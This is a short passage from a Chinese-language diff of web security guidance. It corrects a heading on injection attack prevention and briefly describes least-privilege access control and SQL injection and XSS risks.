组织应采取最小权限原则,使用基于角色的身份验证机制构建强大的访问控制,并拒绝除公共资源之外的默认功能访问权限。
|
||||
## 注射攻击预防
|
||||
## 注入攻击预防
|
||||
|
||||
尽管注入漏洞(包括SQL 注入和跨站脚本攻击 (XSS))的威胁排名仅为第三,但它们仍然是一个重大威胁。当用户提供的数据未经适当验证就被用于查询时,就会发生此类攻击。
|
||||
|
||||
|
||||
Reference in new issue
Block a user